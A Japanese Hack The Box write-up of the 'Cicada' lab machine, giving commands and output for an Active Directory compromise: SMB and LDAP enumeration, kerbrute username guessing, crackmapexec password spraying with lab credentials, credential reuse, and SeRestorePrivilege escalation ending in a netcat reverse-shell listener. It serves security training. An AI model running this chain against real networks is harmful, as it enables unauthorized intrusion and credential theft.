【Hack The Box】Cicada【WriteUp】

# 初めに
本記事は ___Hack The Box___(以下リンク参照) の「___Cicada___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.35 --top
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.35:53
Open 10.10.11.35:88
Open 10.10.11.35:139
Open 10.10.11.35:135
Open 10.10.11.35:389
Open 10.10.11.35:445
Open 10.10.11.35:464
Open 10.10.11.35:593
Open 10.10.11.35:636
Open 10.10.11.35:3268
Open 10.10.11.35:3269
Open 10.10.11.35:5985
Open 10.10.11.35:50997
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-09 07:29 EDT
Initiating Ping Scan at 07:29
Scanning 10.10.11.35 [4 ports]
Completed Ping Scan at 07:29, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:29
Completed Parallel DNS resolution of 1 host. at 07:29, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:29
Scanning 10.10.11.35 [13 ports]
Discovered open port 53/tcp on 10.10.11.35
Discovered open port 445/tcp on 10.10.11.35
Discovered open port 139/tcp on 10.10.11.35
Discovered open port 464/tcp on 10.10.11.35
Discovered open port 135/tcp on 10.10.11.35
Discovered open port 389/tcp on 10.10.11.35
Discovered open port 50997/tcp on 10.10.11.35
Discovered open port 3269/tcp on 10.10.11.35
Discovered open port 88/tcp on 10.10.11.35
Discovered open port 5985/tcp on 10.10.11.35
Discovered open port 593/tcp on 10.10.11.35
Discovered open port 636/tcp on 10.10.11.35
Discovered open port 3268/tcp on 10.10.11.35
Completed SYN Stealth Scan at 07:29, 0.42s elapsed (13 total ports)
Nmap scan report for 10.10.11.35
Host is up, received echo-reply ttl 127 (0.20s latency).
Scanned at 2024-10-09 07:29:42 EDT for 1s

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
50997/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds
           Raw packets sent: 17 (724B) | Rcvd: 15 (660B)
```
WindowsのPortが開いている。HTTP系のブラウザを扱うサービスはなさそう。
## ドメイン情報収集
ldapのスクリプトも回してさっとAD環境の情報を取得する。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -p 389 -n -Pn --script ldap-rootdse 10.10.11.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-09 07:26 EDT
Nmap scan report for 10.10.11.35
Host is up (0.19s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=cicada,DC=htb
|       ldapServiceName: cicada.htb:cicada-dc$@CICADA.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=cicada,DC=htb
|       serverName: CN=CICADA-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cicada,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=cicada,DC=htb
|       namingContexts: DC=cicada,DC=htb
|       namingContexts: CN=Configuration,DC=cicada,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=cicada,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=cicada,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=cicada,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 196755
|       dsServiceName: CN=NTDS Settings,CN=CICADA-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cicada,DC=htb
|       dnsHostName: CICADA-DC.cicada.htb
|       defaultNamingContext: DC=cicada,DC=htb
|       currentTime: 20241009182630.0Z
|_      configurationNamingContext: CN=Configuration,DC=cicada,DC=htb
Service Info: Host: CICADA-DC; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds
```
`cicada.htb`のドメイン情報を掴むことが出来た。この情報を/etc/hostsに以下のように登録しておく。
```
10.10.11.35    cicada.htb
```
`enum4linux`も回しておく
```bash
┌──(root㉿kali)-[~/work]
└─# enum4linux 10.10.11.35
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Oct  9 07:27:20 2024

 =========================================( Target Information )=========================================

Target ........... 10.10.11.35
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on 10.10.11.35 )============================


[E] Can't find workgroup/domain



 ================================( Nbtstat Information for 10.10.11.35 )================================

Looking up status of 10.10.11.35
No reply from 10.10.11.35

 ====================================( Session Check on 10.10.11.35 )====================================


[+] Server 10.10.11.35 allows sessions using username '', password ''


 =================================( Getting domain SID for 10.10.11.35 )=================================

Domain Name: CICADA
Domain Sid: S-1-5-21-917908876-1423158569-3159038727

[+] Host is part of a domain (not a workgroup)


 ===================================( OS information on 10.10.11.35 )===================================


[E] Can't get OS info with smbclient


[+] Got OS info for 10.10.11.35 from srvinfo: 
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED


 ========================================( Users on 10.10.11.35 )========================================


[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED



[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED


 ==================================( Share Enumeration on 10.10.11.35 )==================================

do_connect: Connection to 10.10.11.35 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

	Sharename       Type      Comment
	---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.11.35


 ============================( Password Policy Information for 10.10.11.35 )============================


[E] Unexpected error from polenum:



[+] Attaching to 10.10.11.35 using a NULL share

[+] Trying protocol 139/SMB...

	[!] Protocol failed: Cannot request session (Called Name:10.10.11.35)

[+] Trying protocol 445/SMB...

	[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.



[E] Failed to get password policy with rpcclient



 =======================================( Groups on 10.10.11.35 )=======================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:


[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 ===================( Users on 10.10.11.35 via RID cycling (RIDS: 500-550,1000-1050) )===================


[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.


 ================================( Getting printer info for 10.10.11.35 )================================

do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Wed Oct  9 07:28:15 2024
```
特段いい情報はない。
## SMB enum
SMBを掘り下げておく。
```bash
┌──(root㉿kali)-[~]
└─# smbclient -N -L \\\\10.10.11.35

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	DEV             Disk      
	HR              Disk      
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.35 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
```
共有階層が見えるのでここに何かしら情報があると思い、列挙してみる。
まずは`DEV`階層
```bash
┌──(root㉿kali)-[~]
└─# smbclient -N //10.10.11.35/DEV
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*
smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
```
権限なさそうなので`HR`階層
```bash
┌──(root㉿kali)-[~]
└─# smbclient -N //10.10.11.35/HR
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar 14 08:29:09 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 13:31:48 2024

		4168447 blocks of size 4096. 324720 blocks available
smb: \> mget *
Get file Notice from HR.txt? y
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> exit
```
`HR.txt`があったのでこの中身を確認してみる。
```bash
┌──(root㉿kali)-[~/work]
└─# cat Notice\ from\ HR.txt                    

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp
```
このパスワードを使う感じがしますね。ならユーザを列挙していきます。
その前にLDAP searchで見えるか確認します。
## LDAP enum
```bash
┌──(root㉿kali)-[~/work]
└─# ldapsearch -x -v -b "DC=cicada,DC=htb" -H "ldap://10.10.11.35" "(objectclass=*)"
ldap_initialize( ldap://10.10.11.35:389/??base )
filter: (objectclass=*)
requesting: All userApplication attributes
# extended LDIF
#
# LDAPv3
# base <DC=cicada,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090C78, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4f7c

# numResponses: 1
```
特段何も出てこないですね。


# イニシャルアクセス
## ユーザ列挙
### Kerbrute
AD環境でユーザを列挙してみようとすると命名規則とか色々考慮すべきことはありますが
とりあえずブルフォしときます。最初に思いつくのはkerbruteですね。
```bash
┌──(root㉿kali)-[~/work]
└─# kerbrute userenum -d cicada.htb --dc 10.10.11.35 /usr/share/seclists/Usernames/Names/names.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 10/09/24 - Ronnie Flathers @ropnop

2024/10/09 07:32:38 >  Using KDC(s):
2024/10/09 07:32:38 >  	10.10.11.35:88

2024/10/09 07:35:59 >  Done! Tested 10177 usernames (0 valid) in 201.244 seconds
```
このリストではユーザいなさそう。次のリストへ
```bash
┌──(root㉿kali)-[~/work]
└─# kerbrute userenum -d cicada.htb --dc 10.10.11.35 /usr/share/seclists/Usernames/Names/forenames-india-top1000.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 10/09/24 - Ronnie Flathers @ropnop

2024/10/09 07:36:39 >  Using KDC(s):
2024/10/09 07:36:39 >  	10.10.11.35:88

2024/10/09 07:37:01 >  Done! Tested 1000 usernames (0 valid) in 21.743 seconds
```
これもいない。次。
```bash
┌──(root㉿kali)-[~/work]
└─# kerbrute userenum -d cicada.htb --dc 10.10.11.35 /usr/share/seclists/Usernames/top-usernames-shortlist.txt      

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 10/09/24 - Ronnie Flathers @ropnop

2024/10/09 07:38:03 >  Using KDC(s):
2024/10/09 07:38:03 >  	10.10.11.35:88

2024/10/09 07:38:04 >  [+] VALID USERNAME:	 administrator@cicada.htb
2024/10/09 07:38:04 >  [+] VALID USERNAME:	 guest@cicada.htb
2024/10/09 07:38:04 >  Done! Tested 17 usernames (2 valid) in 0.403 seconds
```
デフォのGUESTユーザがいる。有効ならそのままRID-brute使えるかも。
### RID Brute
![0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1d5a5341-2343-1dbd-2cde-dcdaba803893.png)
でましたUser！これを以下のようにリスト化してパスワードスプレー用に使います。
```bash
┌──(root㉿kali)-[~/work]
└─# cat users.txt                               
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```
## パスワードスプレー
これをさっきのPasswordを使って認証を通せるか確認します。
```bash
┌──(root㉿kali)-[~/work]
└─# crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' -d cicada.htb --continue-on-success
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
```
`michael.wrightson`で通りました！これでもしかしたらさっきの`DEV`が見えるかもしれないので共有階層の権限をそのまま`crackmap`で確認します。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b3553687-64c0-f2d2-c3cd-92675666718c.png)
見えそうにないですね。
じゃ、この資格情報を使ってRustHound回したいと思います。

# 横展開
## Bloodhound
Bloodhound-Pythonを使ってもいいんですが、今回はRusthound使います。

https://github.com/NH-RED-TEAM/RustHound

```bash
┌──(root㉿kali)-[/opt/RustHound]
└─# ./rusthound_musl -d cicada.htb -i 10.10.11.35 -u michael.wrightson@cicada.htb -p 'Cicada$M6Corpb*@Lp#nZp!8' -z --adcs
---------------------------------------------------
Initializing RustHound at 07:46:42 on 10/09/24
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2024-10-09T11:46:42Z INFO  rusthound] Verbosity level: Info
[2024-10-09T11:46:42Z INFO  rusthound::ldap] Connected to CICADA.HTB Active Directory!
[2024-10-09T11:46:42Z INFO  rusthound::ldap] Starting data collection...
[2024-10-09T11:46:44Z INFO  rusthound::ldap] All data collected for NamingContext DC=cicada,DC=htb
[2024-10-09T11:46:44Z INFO  rusthound::ldap] All data collected for NamingContext CN=Configuration,DC=cicada,DC=htb
[2024-10-09T11:46:44Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
[2024-10-09T11:46:44Z INFO  rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2024-10-09T11:46:44Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
[2024-10-09T11:46:44Z INFO  rusthound::json::checker] Starting checker to replace some values...
[2024-10-09T11:46:44Z INFO  rusthound::json::checker] Checking and replacing some values finished!
[2024-10-09T11:46:44Z INFO  rusthound::modules] Starting checker for ADCS values...
[2024-10-09T11:46:44Z INFO  rusthound::modules] Checking for ADCS values finished!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] 9 users parsed!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] 62 groups parsed!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] 1 computers parsed!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] 2 ous parsed!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] 1 domains parsed!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] 3 gpos parsed!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] 21 containers parsed!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] 0 cas parsed!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] 33 templates parsed!
[2024-10-09T11:46:44Z INFO  rusthound::json::maker] .//20241009074644_cicada-htb_rusthound.zip created!

RustHound Enumeration Completed at 07:46:44 on 10/09/24! Happy Graphing!
```
以下コマンドを用いてBloodhound起動します。
```bash
┌──(root㉿kali)-[~/work]
└─# neo4j console

# 別ターミナル
┌──(root㉿kali)-[~/work]
└─# bloodhound
```
rusthoundで作成したZIPファイルを食わせて、情報を探っていきます。
とりあえず以下のユーザディスクリプションを列挙するクエリをbloodhound画面の下部「Raw Query」に打ちます。
```sql
MATCH (u:User) WHERE u.description IS NOT NULL RETURN u
```
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/89c7762a-f49a-8c5e-2411-6aea2659e6af.png)
`krbtgt`や`administrator`は基本的にビルドインで、デフォルトで書いてあるはずなのでそこまで気にしないのですが、`david.orelious`さんに何か書いてます。
これはパスワードかな？

## パスワードスプレー
先ほどのパスワードを確認してみます。
```bash
┌──(root㉿kali)-[~/work]
└─# crackmapexec smb 10.10.11.35 -u users.txt -p 'aRt$Lp#7t*VQ!3' -d cicada.htb --continue-on-success
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\john.smoulder:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\sarah.dantelia:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\michael.wrightson:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\emily.oscars:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
```
認証成功しました！これで別ユーザのクレデンシャル情報を取得できました。
`DEV`階層が見えるか確認します。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ad69dfbb-a1b9-686f-2d57-dcf6fd930832.png)
お、見えそうですね。
## smbclient
んじゃ`DEV`に入っていきます。
```bash
┌──(root㉿kali)-[~/work]
└─# smbclient //10.10.11.35/DEV -U david.orelious --password='aRt$Lp#7t*VQ!3'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar 14 08:31:39 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 13:28:22 2024

		4168447 blocks of size 4096. 332897 blocks available
smb: \> prompt off
smb: \> mget Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
smb: \> 
```
スクリプトがあったので中身を確認します。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6d29dc33-e0b2-feab-29cd-18e86e4b282c.png)
`emily.oscars`の資格情報ぽいので確認してみます。ここまで横展開したら`winrm`で取れると思ったのでこっちで確認します。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1b25d0b4-b791-12b1-ece9-86e206524348.png)
いけそう。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ae4057df-40ac-2c81-6cec-a43e6f239e15.png)
はい。これでシェルとれました！ユーザフラグゲットです！

# 権限昇格
## whoami /priv
とりあえずこれを確認します。
```bash
*Evil-WinRM* PS C:\Users> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users> 
```
直ぐ管理者権限取れそう。`SeBackupPrivilege`は以下のBlackfieldで悪用したので今回は`SeRestorePrivilege`を悪用しようと思います。

https://qiita.com/schectman-hell/items/75b396bf56e756149bc4

## SeRestorePrivilege
以下の悪用バイナリを利用します。

https://github.com/xct/SeRestoreAbuse

コンパイル後に転送します。`nc.exe`も送っときます。`nc.exe`は`/usr/share/windows-binaries`とかそこらのPath(多分)にKaliデフォルトであるので利用します。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/3ef6c834-2475-1f6a-ed0a-3cb33c77ebb1.png)
あとは以下の待ち受けを用意しておきます。
```bash
┌──(root㉿kali)-[~/work]
└─# nc -lnvp 4444
```
レッツ権限昇格！
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4f39b201-95f7-1e1b-7532-7387fa2a2b5e.png)
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ea9189c3-700f-38dd-0eaf-7d3da0dbefb8.png)
特権とれました。これでルートフラグゲットです。

# まとめ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c1d41487-5cfa-0bc0-b2e0-36e34865491c.png)
これで特権昇格に成功し、Administrator権限奪取に成功しました。
ユーザフラグまでちょいと長かったですが、AD環境侵害のいい練習になるBOXかなと思いました。
ラビットホールも特段ないのでAD初心者にお勧めです。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。